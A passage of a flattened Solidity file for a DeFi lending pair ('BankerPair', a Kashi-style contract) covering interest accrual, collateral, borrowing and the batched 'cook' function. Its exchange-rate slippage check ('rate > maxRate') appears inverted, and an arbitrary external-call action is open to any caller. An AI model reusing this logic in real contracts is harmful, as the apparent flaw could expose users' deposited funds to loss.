total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return total; } /// @notice Subtract `elastic` and `base` to `total`. function sub( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return total; } } // File @boringcrypto/boring-solidity/contracts/interfaces/[email protected] // License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] // License-Identifier: MIT library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) function returnDataToString(bytes memory data) internal pure returns (string memory) { if (data.length >= 64) { return abi.decode(data, (string)); } else if (data.length == 32) { uint8 i = 0; while (i < 32 && data[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && data[i] != 0; i++) { bytesArray[i] = data[i]; } return string(bytesArray); } else { return "???"; } } /// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token symbol. function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.name version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token name. function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value. /// @param token The address of the ERC-20 token contract. /// @return (uint8) Token decimals. function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT interface IBatchFlashBorrower { function onBatchFlashLoan( address sender, IERC20[] calldata tokens, uint256[] calldata amounts, uint256[] calldata fees, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT interface IFlashBorrower { function onFlashLoan( address sender, IERC20 token, uint256 amount, uint256 fee, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT interface IStrategy { // Send the assets to the Strategy and call skim to invest them function skim(uint256 amount) external; // Harvest any profits made converted to the asset and pass them to the caller function harvest(uint256 balance, address sender) external returns (int256 amountAdded); // Withdraw assets. The returned amount can differ from the requested amount due to rounding. // The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for. function withdraw(uint256 amount) external returns (uint256 actualAmount); // Withdraw all assets in the safest way possible. This shouldn't fail. function exit(uint256 balance) external returns (int256 amountAdded); } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT interface IVaultV1 { event LogDeploy( address indexed masterContract, bytes data, address indexed cloneAddress ); event LogDeposit( address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share ); event LogFlashLoan( address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver ); event LogRegisterProtocol(address indexed protocol); event LogSetMasterContractApproval( address indexed masterContract, address indexed user, bool approved ); event LogStrategyDivest(address indexed token, uint256 amount); event LogStrategyInvest(address indexed token, uint256 amount); event LogStrategyLoss(address indexed token, uint256 amount); event LogStrategyProfit(address indexed token, uint256 amount); event LogStrategyQueued(address indexed token, address indexed strategy); event LogStrategySet(address indexed token, address indexed strategy); event LogStrategyTargetPercentage( address indexed token, uint256 targetPercentage ); event LogTransfer( address indexed token, address indexed from, address indexed to, uint256 share ); event LogWhiteListMasterContract( address indexed masterContract, bool approved ); event LogWithdraw( address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function balanceOf(IERC20, address) external view returns (uint256); function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results); function batchFlashLoan( IBatchFlashBorrower borrower, address[] calldata receivers, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data ) external; function claimOwnership() external; function deploy( address masterContract, bytes calldata data, bool useCreate2 ) external payable; function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function flashLoan( IFlashBorrower borrower, address receiver, IERC20 token, uint256 amount, bytes calldata data ) external; function harvest( IERC20 token, bool balance, uint256 maxChangeAmount ) external; function masterContractApproved(address, address) external view returns (bool); function masterContractOf(address) external view returns (address); function nonces(address) external view returns (uint256); function owner() external view returns (address); function pendingOwner() external view returns (address); function pendingStrategy(IERC20) external view returns (IStrategy); function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function registerProtocol() external; function setMasterContractApproval( address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s ) external; function setStrategy(IERC20 token, IStrategy newStrategy) external; function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external; function strategy(IERC20) external view returns (IStrategy); function strategyData(IERC20) external view returns ( uint64 strategyStartDate, uint64 targetPercentage, uint128 balance ); function toAmount( IERC20 token, uint256 share, bool roundUp ) external view returns (uint256 amount); function toShare( IERC20 token, uint256 amount, bool roundUp ) external view returns (uint256 share); function totals(IERC20) external view returns (Rebase memory totals_); function transfer( IERC20 token, address from, address to, uint256 share ) external; function transferMultiple( IERC20 token, address from, address[] calldata tos, uint256[] calldata shares ) external; function transferOwnership( address newOwner, bool direct, bool renounce ) external; function whitelistMasterContract(address masterContract, bool approved) external; function whitelistedMasterContracts(address) external view returns (bool); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/interfaces/IOracle.sol // License-Identifier: MIT interface IOracle { /// @notice Get the latest exchange rate. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function get(bytes calldata data) external returns (bool success, uint256 rate); /// @notice Check the last exchange rate without any state changes. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function peek(bytes calldata data) external view returns (bool success, uint256 rate); /// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek(). /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return rate The rate of the requested asset / pair / pool. function peekSpot(bytes calldata data) external view returns (uint256 rate); /// @notice Returns a human readable (short) name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable symbol name about this oracle. function symbol(bytes calldata data) external view returns (string memory); /// @notice Returns a human readable name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable name about this oracle. function name(bytes calldata data) external view returns (string memory); } // File contracts/interfaces/ISwapper.sol // License-Identifier: MIT interface ISwapper { /// @notice Withdraws 'amountFrom' of token 'from' from the pantry account for this swapper. /// Swaps it for at least 'amountToMin' of token 'to'. /// Transfers the swapped tokens of 'to' into the pantry using a plain ERC20 transfer. /// Returns the amount of tokens 'to' transferred to pantry. /// (The pantry skim function will be used by the caller to get the swapped funds). function swap( IERC20 fromToken, IERC20 toToken, address recipient, uint256 shareToMin, uint256 shareFrom ) external returns (uint256 extraShare, uint256 shareReturned); /// @notice Calculates the amount of token 'from' needed to complete the swap (amountFrom), /// this should be less than or equal to amountFromMax. /// Withdraws 'amountFrom' of token 'from' from the pantry account for this swapper. /// Swaps it for exactly 'exactAmountTo' of token 'to'. /// Transfers the swapped tokens of 'to' into the pantry using a plain ERC20 transfer. /// Transfers allocated, but unused 'from' tokens within the pantry to 'refundTo' (amountFromMax - amountFrom). /// Returns the amount of 'from' tokens withdrawn from pantry (amountFrom). /// (The pantry skim function will be used by the caller to get the swapped funds). function swapExact( IERC20 fromToken, IERC20 toToken, address recipient, address refundTo, uint256 shareFromSupplied, uint256 shareToExact ) external returns (uint256 shareUsed, uint256 shareReturned); } // File contracts/BankerPair.sol // License-Identifier: UNLICENSED // Banker Medium Risk /// @title BankerPair /// @dev This contract allows contract calls to any contract (except pantry) /// from arbitrary callers thus, don't trust calls from this contract in any circumstances. contract KashiPairMediumRiskV1 is ERC20, BoringOwnable, IMasterContract { using BoringMath for uint256; using BoringMath128 for uint128; using RebaseLibrary for Rebase; using BoringERC20 for IERC20; event LogExchangeRate(uint256 rate); event LogAccrue( uint256 accruedAmount, uint256 feeFraction, uint64 rate, uint256 utilization ); event LogAddCollateral( address indexed from, address indexed to, uint256 share ); event LogAddAsset( address indexed from, address indexed to, uint256 share, uint256 fraction ); event LogRemoveCollateral( address indexed from, address indexed to, uint256 share ); event LogRemoveAsset( address indexed from, address indexed to, uint256 share, uint256 fraction ); event LogBorrow( address indexed from, address indexed to, uint256 amount, uint256 feeAmount, uint256 part ); event LogRepay( address indexed from, address indexed to, uint256 amount, uint256 part ); event LogFeeTo(address indexed newFeeTo); event LogWithdrawFees(address indexed feeTo, uint256 feesEarnedFraction); // Immutables (for MasterContract and all clones) IVaultV1 public immutable vault; KashiPairMediumRiskV1 public immutable masterContract; // MasterContract variables address public feeTo; mapping(ISwapper => bool) public swappers; // Per clone variables // Clone init settings IERC20 public collateral; IERC20 public asset; IOracle public oracle; bytes public oracleData; // Total amounts uint256 public totalCollateralShare; // Total collateral supplied Rebase public totalAsset; // elastic = pantry shares held by the BankerPair, base = Total fractions held by asset suppliers Rebase public totalBorrow; // elastic = Total token amount to be repayed by borrowers, base = Total parts of the debt held by borrowers // User balances mapping(address => uint256) public userCollateralShare; // userAssetFraction is called balanceOf for ERC20 compatibility (it's in ERC20.sol) mapping(address => uint256) public userBorrowPart; /// @notice Exchange and interest rate tracking. /// This is 'cached' here because calls to Oracles can be very expensive. uint256 public exchangeRate; struct AccrueInfo { uint64 interestPerSecond; uint64 lastAccrued; uint128 feesEarnedFraction; } AccrueInfo public accrueInfo; // ERC20 'variables' function symbol() external view returns (string memory) { return string( abi.encodePacked( "km", collateral.safeSymbol(), "/", asset.safeSymbol(), "-", oracle.symbol(oracleData) ) ); } function name() external view returns (string memory) { return string( abi.encodePacked( "Banker Medium Risk ", collateral.safeName(), "/", asset.safeName(), "-", oracle.name(oracleData) ) ); } function decimals() external view returns (uint8) { return asset.safeDecimals(); } // totalSupply for ERC20 compatibility function totalSupply() public view returns (uint256) { return totalAsset.base; } // Settings for the Medium Risk BankerPair uint256 private constant CLOSED_COLLATERIZATION_RATE = 75000; // 75% uint256 private constant OPEN_COLLATERIZATION_RATE = 77000; // 77% uint256 private constant COLLATERIZATION_RATE_PRECISION = 1e5; // Must be less than EXCHANGE_RATE_PRECISION (due to optimization in math) uint256 private constant MINIMUM_TARGET_UTILIZATION = 7e17; // 70% uint256 private constant MAXIMUM_TARGET_UTILIZATION = 8e17; // 80% uint256 private constant UTILIZATION_PRECISION = 1e18; uint256 private constant FULL_UTILIZATION = 1e18; uint256 private constant FULL_UTILIZATION_MINUS_MAX = FULL_UTILIZATION - MAXIMUM_TARGET_UTILIZATION; uint256 private constant FACTOR_PRECISION = 1e18; uint64 private constant STARTING_INTEREST_PER_SECOND = 317097920; // approx 1% APR uint64 private constant MINIMUM_INTEREST_PER_SECOND = 79274480; // approx 0.25% APR uint64 private constant MAXIMUM_INTEREST_PER_SECOND = 317097920000; // approx 1000% APR uint256 private constant INTEREST_ELASTICITY = 28800e36; // Half or double in 28800 seconds (8 hours) if linear uint256 private constant EXCHANGE_RATE_PRECISION = 1e18; uint256 private constant LIQUIDATION_MULTIPLIER = 112000; // add 12% uint256 private constant LIQUIDATION_MULTIPLIER_PRECISION = 1e5; // Fees uint256 private constant PROTOCOL_FEE = 10000; // 10% uint256 private constant PROTOCOL_FEE_DIVISOR = 1e5; uint256 private constant BORROW_OPENING_FEE = 50; // 0.05% uint256 private constant BORROW_OPENING_FEE_PRECISION = 1e5; /// @notice The constructor is only used for the initial master contract. Subsequent clones are initialised via `init`. constructor(IVaultV1 vault_) public { vault = vault_; masterContract = this; feeTo = msg.sender; } /// @notice Serves as the constructor for clones, as clones can't have a regular constructor /// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData) function init(bytes calldata data) public payable override { require( address(collateral) == address(0), "BankerPair: already initialized" ); (collateral, asset, oracle, oracleData) = abi.decode( data, (IERC20, IERC20, IOracle, bytes) ); require(address(collateral) != address(0), "BankerPair: bad pair"); accrueInfo.interestPerSecond = uint64(STARTING_INTEREST_PER_SECOND); // 1% APR, with 1e18 being 100% } /// @notice Accrues the interest on the borrowed tokens and handles the accumulation of fees. function accrue() public { AccrueInfo memory _accrueInfo = accrueInfo; // Number of seconds since accrue was called uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued; if (elapsedTime == 0) { return; } _accrueInfo.lastAccrued = uint64(block.timestamp); Rebase memory _totalBorrow = totalBorrow; if (_totalBorrow.base == 0) { // If there are no borrows, reset the interest rate if (_accrueInfo.interestPerSecond != STARTING_INTEREST_PER_SECOND) { _accrueInfo.interestPerSecond = STARTING_INTEREST_PER_SECOND; emit LogAccrue(0, 0, STARTING_INTEREST_PER_SECOND, 0); } accrueInfo = _accrueInfo; return; } uint256 extraAmount = 0; uint256 feeFraction = 0; Rebase memory _totalAsset = totalAsset; // Accrue interest extraAmount = uint256(_totalBorrow.elastic) .mul(_accrueInfo.interestPerSecond) .mul(elapsedTime) / 1e18; _totalBorrow.elastic = _totalBorrow.elastic.add(extraAmount.to128()); uint256 fullAssetAmount = vault.toAmount(asset, _totalAsset.elastic, false).add( _totalBorrow.elastic ); uint256 feeAmount = extraAmount.mul(PROTOCOL_FEE) / PROTOCOL_FEE_DIVISOR; // % of interest paid goes to fee feeFraction = feeAmount.mul(_totalAsset.base) / fullAssetAmount; _accrueInfo.feesEarnedFraction = _accrueInfo.feesEarnedFraction.add( feeFraction.to128() ); totalAsset.base = _totalAsset.base.add(feeFraction.to128()); totalBorrow = _totalBorrow; // Update interest rate uint256 utilization = uint256(_totalBorrow.elastic).mul(UTILIZATION_PRECISION) / fullAssetAmount; if (utilization < MINIMUM_TARGET_UTILIZATION) { uint256 underFactor = MINIMUM_TARGET_UTILIZATION.sub(utilization).mul( FACTOR_PRECISION ) / MINIMUM_TARGET_UTILIZATION; uint256 scale = INTEREST_ELASTICITY.add( underFactor.mul(underFactor).mul(elapsedTime) ); _accrueInfo.interestPerSecond = uint64( uint256(_accrueInfo.interestPerSecond).mul( INTEREST_ELASTICITY ) / scale ); if (_accrueInfo.interestPerSecond < MINIMUM_INTEREST_PER_SECOND) { _accrueInfo.interestPerSecond = MINIMUM_INTEREST_PER_SECOND; // 0.25% APR minimum } } else if (utilization > MAXIMUM_TARGET_UTILIZATION) { uint256 overFactor = utilization.sub(MAXIMUM_TARGET_UTILIZATION).mul( FACTOR_PRECISION ) / FULL_UTILIZATION_MINUS_MAX; uint256 scale = INTEREST_ELASTICITY.add( overFactor.mul(overFactor).mul(elapsedTime) ); uint256 newInterestPerSecond = uint256(_accrueInfo.interestPerSecond).mul(scale) / INTEREST_ELASTICITY; if (newInterestPerSecond > MAXIMUM_INTEREST_PER_SECOND) { newInterestPerSecond = MAXIMUM_INTEREST_PER_SECOND; // 1000% APR maximum } _accrueInfo.interestPerSecond = uint64(newInterestPerSecond); } emit LogAccrue( extraAmount, feeFraction, _accrueInfo.interestPerSecond, utilization ); accrueInfo = _accrueInfo; } /// @notice Concrete implementation of `isSolvent`. Includes a third parameter to allow caching `exchangeRate`. /// @param _exchangeRate The exchange rate. Used to cache the `exchangeRate` between calls. function _isSolvent( address user, bool open, uint256 _exchangeRate ) internal view returns (bool) { // accrue must have already been called! uint256 borrowPart = userBorrowPart[user]; if (borrowPart == 0) return true; uint256 collateralShare = userCollateralShare[user]; if (collateralShare == 0) return false; Rebase memory _totalBorrow = totalBorrow; return vault.toAmount( collateral, collateralShare .mul( EXCHANGE_RATE_PRECISION / COLLATERIZATION_RATE_PRECISION ) .mul( open ? OPEN_COLLATERIZATION_RATE : CLOSED_COLLATERIZATION_RATE ), false ) >= // Moved exchangeRate here instead of dividing the other side to preserve more precision borrowPart.mul(_totalBorrow.elastic).mul(_exchangeRate) / _totalBorrow.base; } /// @dev Checks if the user is solvent in the closed liquidation case at the end of the function body. modifier solvent() { _; require( _isSolvent(msg.sender, false, exchangeRate), "BankerPair: user insolvent" ); } /// @notice Gets the exchange rate. I.e how much collateral to buy 1e18 asset. /// This function is supposed to be invoked if needed because Oracle queries can be expensive. /// @return updated True if `exchangeRate` was updated. /// @return rate The new exchange rate. function updateExchangeRate() public returns (bool updated, uint256 rate) { (updated, rate) = oracle.get(oracleData); if (updated) { exchangeRate = rate; emit LogExchangeRate(rate); } else { // Return the old rate if fetching wasn't successful rate = exchangeRate; } } /// @dev Helper function to move tokens. /// @param token The ERC-20 token. /// @param share The amount in shares to add. /// @param total Grand total amount to deduct from this contract's balance. Only applicable if `skim` is True. /// Only used for accounting checks. /// @param skim If True, only does a balance check on this contract. /// False if tokens from msg.sender in `vault` should be transferred. function _addTokens( IERC20 token, uint256 share, uint256 total, bool skim ) internal { if (skim) { require( share <= vault.balanceOf(token, address(this)).sub(total), "BankerPair: Skim too much" ); } else { vault.transfer(token, msg.sender, address(this), share); } } /// @notice Adds `collateral` from msg.sender to the account `to`. /// @param to The receiver of the tokens. /// @param skim True if the amount should be skimmed from the deposit balance of msg.sender. /// False if tokens from msg.sender in `vault` should be transferred. /// @param share The amount of shares to add for `to`. function addCollateral( address to, bool skim, uint256 share ) public { userCollateralShare[to] = userCollateralShare[to].add(share); uint256 oldTotalCollateralShare = totalCollateralShare; totalCollateralShare = oldTotalCollateralShare.add(share); _addTokens(collateral, share, oldTotalCollateralShare, skim); emit LogAddCollateral(skim ? address(vault) : msg.sender, to, share); } /// @dev Concrete implementation of `removeCollateral`. function _removeCollateral(address to, uint256 share) internal { userCollateralShare[msg.sender] = userCollateralShare[msg.sender].sub( share ); totalCollateralShare = totalCollateralShare.sub(share); emit LogRemoveCollateral(msg.sender, to, share); vault.transfer(collateral, address(this), to, share); } /// @notice Removes `share` amount of collateral and transfers it to `to`. /// @param to The receiver of the shares. /// @param share Amount of shares to remove. function removeCollateral(address to, uint256 share) public solvent { // accrue must be called because we check solvency accrue(); _removeCollateral(to, share); } /// @dev Concrete implementation of `addAsset`. function _addAsset( address to, bool skim, uint256 share ) internal returns (uint256 fraction) { Rebase memory _totalAsset = totalAsset; uint256 totalAssetShare = _totalAsset.elastic; uint256 allShare = _totalAsset.elastic + vault.toShare(asset, totalBorrow.elastic, true); fraction = allShare == 0 ? share : share.mul(_totalAsset.base) / allShare; if (_totalAsset.base.add(fraction.to128()) < 1000) { return 0; } totalAsset = _totalAsset.add(share, fraction); balanceOf[to] = balanceOf[to].add(fraction); _addTokens(asset, share, totalAssetShare, skim); emit LogAddAsset( skim ? address(vault) : msg.sender, to, share, fraction ); } /// @notice Adds assets to the lending pair. /// @param to The address of the user to receive the assets. /// @param skim True if the amount should be skimmed from the deposit balance of msg.sender. /// False if tokens from msg.sender in `vault` should be transferred. /// @param share The amount of shares to add. /// @return fraction Total fractions added. function addAsset( address to, bool skim, uint256 share ) public returns (uint256 fraction) { accrue(); fraction = _addAsset(to, skim, share); } /// @dev Concrete implementation of `removeAsset`. function _removeAsset(address to, uint256 fraction) internal returns (uint256 share) { Rebase memory _totalAsset = totalAsset; uint256 allShare = _totalAsset.elastic + vault.toShare(asset, totalBorrow.elastic, true); share = fraction.mul(allShare) / _totalAsset.base; balanceOf[msg.sender] = balanceOf[msg.sender].sub(fraction); _totalAsset.elastic = _totalAsset.elastic.sub(share.to128()); _totalAsset.base = _totalAsset.base.sub(fraction.to128()); require(_totalAsset.base >= 1000, "Banker: below minimum"); totalAsset = _totalAsset; emit LogRemoveAsset(msg.sender, to, share, fraction); vault.transfer(asset, address(this), to, share); } /// @notice Removes an asset from msg.sender and transfers it to `to`. /// @param to The user that receives the removed assets. /// @param fraction The amount/fraction of assets held to remove. /// @return share The amount of shares transferred to `to`. function removeAsset(address to, uint256 fraction) public returns (uint256 share) { accrue(); share = _removeAsset(to, fraction); } /// @dev Concrete implementation of `borrow`. function _borrow(address to, uint256 amount) internal returns (uint256 part, uint256 share) { uint256 feeAmount = amount.mul(BORROW_OPENING_FEE) / BORROW_OPENING_FEE_PRECISION; // A flat % fee is charged for any borrow (totalBorrow, part) = totalBorrow.add(amount.add(feeAmount), true); userBorrowPart[msg.sender] = userBorrowPart[msg.sender].add(part); emit LogBorrow(msg.sender, to, amount, feeAmount, part); share = vault.toShare(asset, amount, false); Rebase memory _totalAsset = totalAsset; require(_totalAsset.base >= 1000, "Banker: below minimum"); _totalAsset.elastic = _totalAsset.elastic.sub(share.to128()); totalAsset = _totalAsset; vault.transfer(asset, address(this), to, share); } /// @notice Sender borrows `amount` and transfers it to `to`. /// @return part Total part of the debt held by borrowers. /// @return share Total amount in shares borrowed. function borrow(address to, uint256 amount) public solvent returns (uint256 part, uint256 share) { accrue(); (part, share) = _borrow(to, amount); } /// @dev Concrete implementation of `repay`. function _repay( address to, bool skim, uint256 part ) internal returns (uint256 amount) { (totalBorrow, amount) = totalBorrow.sub(part, true); userBorrowPart[to] = userBorrowPart[to].sub(part); uint256 share = vault.toShare(asset, amount, true); uint128 totalShare = totalAsset.elastic; _addTokens(asset, share, uint256(totalShare), skim); totalAsset.elastic = totalShare.add(share.to128()); emit LogRepay(skim ? address(vault) : msg.sender, to, amount, part); } /// @notice Repays a loan. /// @param to Address of the user this payment should go. /// @param skim True if the amount should be skimmed from the deposit balance of msg.sender. /// False if tokens from msg.sender in `vault` should be transferred. /// @param part The amount to repay. See `userBorrowPart`. /// @return amount The total amount repayed. function repay( address to, bool skim, uint256 part ) public returns (uint256 amount) { accrue(); amount = _repay(to, skim, part); } // Functions that need accrue to be called uint8 internal constant ACTION_ADD_ASSET = 1; uint8 internal constant ACTION_REPAY = 2; uint8 internal constant ACTION_REMOVE_ASSET = 3; uint8 internal constant ACTION_REMOVE_COLLATERAL = 4; uint8 internal constant ACTION_BORROW = 5; uint8 internal constant ACTION_GET_REPAY_SHARE = 6; uint8 internal constant ACTION_GET_REPAY_PART = 7; uint8 internal constant ACTION_ACCRUE = 8; // Functions that don't need accrue to be called uint8 internal constant ACTION_ADD_COLLATERAL = 10; uint8 internal constant ACTION_UPDATE_EXCHANGE_RATE = 11; // Function on pantry uint8 internal constant ACTION_BENTO_DEPOSIT = 20; uint8 internal constant ACTION_BENTO_WITHDRAW = 21; uint8 internal constant ACTION_BENTO_TRANSFER = 22; uint8 internal constant ACTION_BENTO_TRANSFER_MULTIPLE = 23; uint8 internal constant ACTION_BENTO_SETAPPROVAL = 24; // Any external call (except to pantry) uint8 internal constant ACTION_CALL = 30; int256 internal constant USE_VALUE1 = -1; int256 internal constant USE_VALUE2 = -2; /// @dev Helper function for choosing the correct value (`value1` or `value2`) depending on `inNum`. function _num( int256 inNum, uint256 value1, uint256 value2 ) internal pure returns (uint256 outNum) { outNum = inNum >= 0 ? uint256(inNum) : (inNum == USE_VALUE1 ? value1 : value2); } /// @dev Helper function for depositing into `vault`. function _bentoDeposit( bytes memory data, uint256 value, uint256 value1, uint256 value2 ) internal returns (uint256, uint256) { (IERC20 token, address to, int256 amount, int256 share) = abi.decode(data, (IERC20, address, int256, int256)); amount = int256(_num(amount, value1, value2)); // Done this way to avoid stack too deep errors share = int256(_num(share, value1, value2)); return vault.deposit{value: value}( token, msg.sender, to, uint256(amount), uint256(share) ); } /// @dev Helper function to withdraw from the `vault`. function _bentoWithdraw( bytes memory data, uint256 value1, uint256 value2 ) internal returns (uint256, uint256) { (IERC20 token, address to, int256 amount, int256 share) = abi.decode(data, (IERC20, address, int256, int256)); return vault.withdraw( token, msg.sender, to, _num(amount, value1, value2), _num(share, value1, value2) ); } /// @dev Helper function to perform a contract call and eventually extracting revert messages on failure. /// Calls to `vault` are not allowed for obvious security reasons. /// This also means that calls made from this contract shall *not* be trusted. function _call( uint256 value, bytes memory data, uint256 value1, uint256 value2 ) internal returns (bytes memory, uint8) { ( address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues ) = abi.decode(data, (address, bytes, bool, bool, uint8)); if (useValue1 && !useValue2) { callData = abi.encodePacked(callData, value1); } else if (!useValue1 && useValue2) { callData = abi.encodePacked(callData, value2); } else if (useValue1 && useValue2) { callData = abi.encodePacked(callData, value1, value2); } require( callee != address(vault) && callee != address(this), "BankerPair: can't call" ); (bool success, bytes memory returnData) = callee.call{value: value}(callData); require(success, "BankerPair: call failed"); return (returnData, returnValues); } struct CookStatus { bool needsSolvencyCheck; bool hasAccrued; } /// @notice Executes a set of actions and allows composability (contract calls) to other contracts. /// @param actions An array with a sequence of actions to execute (see ACTION_ declarations). /// @param values A one-to-one mapped array to `actions`. ETH amounts to send along with the actions. /// Only applicable to `ACTION_CALL`, `ACTION_BENTO_DEPOSIT`. /// @param datas A one-to-one mapped array to `actions`. Contains abi encoded data of function arguments. /// @return value1 May contain the first positioned return value of the last executed action (if applicable). /// @return value2 May contain the second positioned return value of the last executed action which returns 2 values (if applicable). function cook( uint8[] calldata actions, uint256[] calldata values, bytes[] calldata datas ) external payable returns (uint256 value1, uint256 value2) { CookStatus memory status; for (uint256 i = 0; i < actions.length; i++) { uint8 action = actions[i]; if (!status.hasAccrued && action < 10) { accrue(); status.hasAccrued = true; } if (action == ACTION_ADD_COLLATERAL) { (int256 share, address to, bool skim) = abi.decode(datas[i], (int256, address, bool)); addCollateral(to, skim, _num(share, value1, value2)); } else if (action == ACTION_ADD_ASSET) { (int256 share, address to, bool skim) = abi.decode(datas[i], (int256, address, bool)); value1 = _addAsset(to, skim, _num(share, value1, value2)); } else if (action == ACTION_REPAY) { (int256 part, address to, bool skim) = abi.decode(datas[i], (int256, address, bool)); _repay(to, skim, _num(part, value1, value2)); } else if (action == ACTION_REMOVE_ASSET) { (int256 fraction, address to) = abi.decode(datas[i], (int256, address)); value1 = _removeAsset(to, _num(fraction, value1, value2)); } else if (action == ACTION_REMOVE_COLLATERAL) { (int256 share, address to) = abi.decode(datas[i], (int256, address)); _removeCollateral(to, _num(share, value1, value2)); status.needsSolvencyCheck = true; } else if (action == ACTION_BORROW) { (int256 amount, address to) = abi.decode(datas[i], (int256, address)); (value1, value2) = _borrow(to, _num(amount, value1, value2)); status.needsSolvencyCheck = true; } else if (action == ACTION_UPDATE_EXCHANGE_RATE) { (bool must_update, uint256 minRate, uint256 maxRate) = abi.decode(datas[i], (bool, uint256, uint256)); (bool updated, uint256 rate) = updateExchangeRate(); require( (!must_update || updated) && rate > minRate && (maxRate == 0 || rate > maxRate), "BankerPair: rate not ok" ); } else if (action == ACTION_BENTO_SETAPPROVAL) { ( address user, address _masterContract, bool approved, uint8 v, bytes32 r, bytes32 s ) = abi.decode( datas[i], (address, address, bool, uint8, bytes32, bytes32) ); vault.setMasterContractApproval( user, _masterContract, approved, v, r, s ); } else if (action == ACTION_BENTO_DEPOSIT) { (value1, value2) = _bentoDeposit( datas[i], values[i], value1, value2 ); } else if (action == ACTION_BENTO_WITHDRAW) { (value1, value2) = _bentoWithdraw(datas[i], value1, value2); } else if (action == ACTION_BENTO_TRANSFER) { (IERC20 token, address to, int256 share) = abi.decode(datas[i], (IERC20, address, int256)); vault.transfer( token, msg.sender, to, _num(share, value1, value2) ); } else if (action == ACTION_BENTO_TRANSFER_MULTIPLE) { (IERC20 token, address[] memory tos, uint256[] memory shares) = abi.decode(datas[i], (IERC20, address[], uint256[])); vault.transferMultiple(token, msg.sender, tos, shares); } else if (action == ACTION_CALL) { (bytes memory returnData, uint8 returnValues) = _call(values[i], datas[i], value1, value2); if (returnValues == 1) { (value1) = abi.decode(returnData, (uint256)); } else if (returnValues == 2) { (value1, value2) = abi.decode( returnData, (uint256, uint256) ); } } else if (action == ACTION_GET_REPAY_SHARE) { int256 part = abi.decode(datas[i], (int256)); value1 = vault.toShare( asset, totalBorrow.toElastic(_num(part, value1, value2), true), true ); } else if (action == ACTION_GET_REPAY_PART) { int256 amount = abi.decode(datas[i], (int256)); value1 = totalBorrow.toBase( _num(amount, value1, value2), false ); } } if (status.needsSolvencyCheck) { require( _isSolvent(msg.sender, false, exchangeRate), "BankerPair: user insolvent" ); } } /// @notice Handles the liquidation of 